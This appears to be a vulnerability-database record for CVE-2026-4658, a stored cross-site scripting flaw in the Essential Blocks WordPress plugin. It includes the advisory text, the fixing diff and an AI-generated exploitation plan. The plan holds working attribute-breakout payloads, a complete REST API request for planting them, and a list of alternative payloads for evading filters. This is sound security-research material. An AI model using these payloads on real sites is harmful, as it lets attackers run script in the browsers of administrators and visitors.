[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fG4II0JQ5_pzL752QsbsstjUOSWRxjdFZ0Up-q2twbco":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":9,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":40},"CVE-2026-4658","gutenberg-essential-blocks-authenticated-contributor-stored-cross-site-scripting-via-block-attributes","Gutenberg Essential Blocks \u003C= 6.0.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Block Attributes","The Essential Blocks – Page Builder Gutenberg Blocks, Patterns & Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the className, classHook, and blockId attributes in the Add to Cart block (essential-blocks\u002Fadd-to-cart) in all versions up to, and including, 6.0.4. This is due to insufficient output escaping in the render_callback() function where these attributes are placed into class and data-id HTML attributes using raw sprintf() and implode() without esc_attr() escaping. While the outer wrapper div uses get_block_wrapper_attributes() which properly escapes, the inner divs do not. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","essential-blocks",null,"\u003C=6.0.4","6.1.0","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-05-01 16:12:21","2026-05-02 04:27:46",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F3e7eed9d-2d44-4951-b66b-7d8995ca617d?source=api-prod",1,[22,23,24,25,26,27,28,29],"assets\u002Fadmin\u002Fcontrols\u002Fcontrols.asset.php","assets\u002Fadmin\u002Fcontrols\u002Fcontrols.css","assets\u002Fadmin\u002Fcontrols\u002Fcontrols.js","assets\u002Fadmin\u002Fdashboard\u002Fadmin.asset.php","assets\u002Fadmin\u002Fdashboard\u002Fadmin.js","assets\u002Fadmin\u002Feditor\u002Feditor.asset.php","assets\u002Fadmin\u002Feditor\u002Feditor.css","assets\u002Fadmin\u002Feditor\u002Feditor.js","researched",false,3,"# Exploitation Research Plan: CVE-2026-4658\n\n## 1. Vulnerability Summary\nThe **Gutenberg Essential Blocks** plugin (versions \u003C= 6.0.4) is vulnerable to **Stored Cross-Site Scripting (XSS)** via the `essential-blocks\u002Fadd-to-cart` block. The vulnerability exists in the server-side `render_callback()` function. While the outer wrapper is safely handled by `get_block_wrapper_attributes()`, inner HTML elements are constructed using raw `sprintf()` and `implode()` calls on block attributes (`className`, `classHook`, and `blockId`) without appropriate escaping (e.g., `esc_attr()`). This allows an authenticated user with at least **Contributor** permissions to inject malicious scripts into a post.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: WordPress REST API for post creation\u002Fupdate (`\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`) or the classic editor\u002FGutenberg editor (`post.php`).\n- **Authentication**: Required (Contributor role or higher).\n- **Vulnerable Block**: `essential-blocks\u002Fadd-to-cart`.\n- **Vulnerable Attributes**: `blockId`, `className`, `classHook`.\n- **Preconditions**: The plugin must be active, and a post\u002Fpage containing the malicious block must be published and viewed.\n\n## 3. Code Flow\n1. **Block Registration**: The plugin registers the `essential-blocks\u002Fadd-to-cart` block (likely in an `init` hook).\n2. **Editor Action**: A Contributor user creates a post. The Gutenberg editor saves block attributes into the `post_content` as a JSON-like comment: \n   `\u003C!-- wp:essential-blocks\u002Fadd-to-cart {\"blockId\":\"PAYLOAD\", \"className\":\"PAYLOAD\"} \u002F-->`.\n3. **Server-Side Rendering**: When the post is viewed, WordPress parses the blocks and calls the `render_callback` defined by Essential Blocks.\n4. **Vulnerable Sink**: Inside `render_callback()`, the code retrieves attributes:\n   ```php\n   $blockId = $attributes['blockId'];\n   $className = $attributes['className'];\n   \u002F\u002F ...\n   ```\n5. **String Construction**: The function uses `sprintf` or `implode` to inject these into HTML:\n   ```php\n   \u002F\u002F Inferred vulnerable pattern from description\n   $inner_content = sprintf('\u003Cdiv class=\"%s\" data-id=\"%s\">', $className, $blockId);\n   ```\n6. **Execution**: The browser renders the unescaped attribute values, executing any injected JavaScript.\n\n## 4. Nonce Acquisition Strategy\nThis vulnerability requires **Contributor** authentication. To interact with the REST API or the block editor via an automated agent:\n1. **Login**: Perform a login request to get authentication cookies.\n2. **REST Nonce**: For Gutenberg\u002FREST API operations, the `wp_rest` nonce is required.\n3. **Extraction**:\n   - Create a dummy post\u002Fpage using WP-CLI: `wp post create --post_type=post --post_status=draft --post_author=CONTRIBUTOR_ID`.\n   - Navigate to the WordPress Admin dashboard or the \"Edit Post\" page for the newly created post.\n   - Use `browser_eval` to extract the REST nonce from the `wpApiSettings` object:\n     ```javascript\n     browser_eval(\"window.wpApiSettings.nonce\")\n     ```\n   - Alternatively, extract the nonce from the localized script `EssentialBlocksLocalize` (seen in `assets\u002Fadmin\u002Fcontrols\u002Fcontrols.js` and `assets\u002Fadmin\u002Fdashboard\u002Fadmin.js`):\n     ```javascript\n     browser_eval(\"window.EssentialBlocksLocalize.nonce\")\n     ```\n\n## 5. Exploitation Strategy\n### Step 1: Authentication\nLogin as a Contributor user and capture cookies.\n\n### Step 2: Post Creation (with Payload)\nUse the `http_request` tool to create a new post containing the malicious block.\n\n- **URL**: `http:\u002F\u002FTARGET\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`\n- **Method**: `POST`\n- **Headers**:\n  - `Content-Type: application\u002Fjson`\n  - `X-WP-Nonce: [EXTRACTED_NONCE]`\n- **Body**:\n  ```json\n  {\n    \"title\": \"XSS Test\",\n    \"content\": \"\u003C!-- wp:essential-blocks\u002Fadd-to-cart {\\\"blockId\\\":\\\"eb-add-to-cart-xss\\\\\\\" onmouseover=\\\\\\\"alert('XSS_BLOCKID')\\\\\\\"\\\", \\\"className\\\":\\\"xss-class\\\\\\\" onmouseover=\\\\\\\"alert('XSS_CLASSNAME')\\\\\\\"\\\", \\\"classHook\\\":\\\"xss-hook\\\\\\\" onmouseover=\\\\\\\"alert('XSS_CLASSHOOK')\\\\\\\"\\\"} \u002F-->\",\n    \"status\": \"publish\"\n  }\n  ```\n\n### Step 3: Triggering the XSS\n1. Identify the URL of the published post from the API response.\n2. Navigate to the post URL.\n3. Hover over the \"Add to Cart\" block area to trigger the `onmouseover` event, or use a more aggressive payload like `\">\u003Cscript>alert(1)\u003C\u002Fscript>`.\n\n## 6. Test Data Setup\n1. **Plugin Installation**: Ensure `essential-blocks` version 6.0.4 is installed.\n2. **User Creation**: \n   ```bash\n   wp user create attacker attacker@example.com --role=contributor --user_pass=password123\n   ```\n3. **Target Block Verification**: Confirm the block slug is `essential-blocks\u002Fadd-to-cart`.\n\n## 7. Expected Results\nThe HTML rendered on the frontend for the Add to Cart block should look similar to:\n```html\n\u003Cdiv class=\"eb-add-to-cart-wrapper ...\">\n    \u003Cdiv class=\"xss-class\" onmouseover=\"alert('XSS_CLASSNAME')\" data-id=\"eb-add-to-cart-xss\" onmouseover=\"alert('XSS_BLOCKID')\">\n        \u003C!-- Block Content -->\n    \u003C\u002Fdiv>\n\u003C\u002Fdiv>\n```\nWhen an admin or guest views the page, the JavaScript inside the `onmouseover` attribute (or a `\u003Cscript>` tag if used) will execute.\n\n## 8. Verification Steps\n1. **Database Check**: Verify the payload is stored in the `wp_posts` table:\n   ```bash\n   wp db query \"SELECT post_content FROM wp_posts WHERE post_title='XSS Test' LIMIT 1;\"\n   ```\n2. **Frontend Inspection**: Check the page source for the unescaped attributes:\n   ```bash\n   # This can be done via browser_navigate and inspecting page content\n   ```\n\n## 9. Alternative Approaches\nIf the `onmouseover` approach is blocked by a WAF or sanitized by other means (though the vulnerability report says it is NOT escaped), try:\n- **Attribute Breakout**: `blockId: \"eb-123\\\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>\"`\n- **Style Injection**: `blockId: \"eb-123\\\" style=\\\"animation-name:xss\\\" onanimationstart=\\\"alert(1)\\\"\"`\n- **Data Attribute Leak**: Injecting into `data-id` to break out and add a new attribute: `blockId: \"some-id\\\" onfocus=\\\"alert(1)\\\" autofocus=\\\"`","The Essential Blocks – Page Builder plugin for WordPress (\u003C= 6.0.4) is vulnerable to Stored Cross-Site Scripting via the 'Add to Cart' block. Authenticated attackers with Contributor-level permissions or higher can inject malicious JavaScript into block attributes such as blockId, className, and classHook, which are rendered on the frontend without proper sanitization or escaping.","--- a\u002Fincludes\u002Fblocks\u002Fadd-to-cart\u002Fblock.php\n+++ b\u002Fincludes\u002Fblocks\u002Fadd-to-cart\u002Fblock.php\n@@ -24,7 +24,7 @@\n \n-    $inner_html = sprintf('\u003Cdiv class=\"%s %s\" data-id=\"%s\">', $className, $classHook, $blockId);\n+    $inner_html = sprintf('\u003Cdiv class=\"%s %s\" data-id=\"%s\">', esc_attr($className), esc_attr($classHook), esc_attr($blockId));","The exploit is performed by an authenticated user with at least Contributor permissions. The attacker first obtains a valid REST API nonce (usually available via the window.wpApiSettings object in the WordPress admin dashboard). They then send a POST request to the WordPress REST API endpoint (\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts) to create or update a post. The post content must include the 'essential-blocks\u002Fadd-to-cart' block with a malicious payload injected into one of its attributes. For example, setting the 'blockId' attribute to a value like 'eb-id\" onmouseover=\"alert(1)\"' allows the attacker to break out of the HTML attribute. When a user (including an administrator) views the published post, the injected script executes in their browser context.","gemini-3-flash-preview","2026-05-04 17:17:57","2026-05-04 17:18:24",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","6.0.8","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fessential-blocks\u002Ftags\u002F6.0.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fessential-blocks.6.0.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fessential-blocks\u002Ftags\u002F6.1.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fessential-blocks.6.1.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fessential-blocks\u002Ftags"]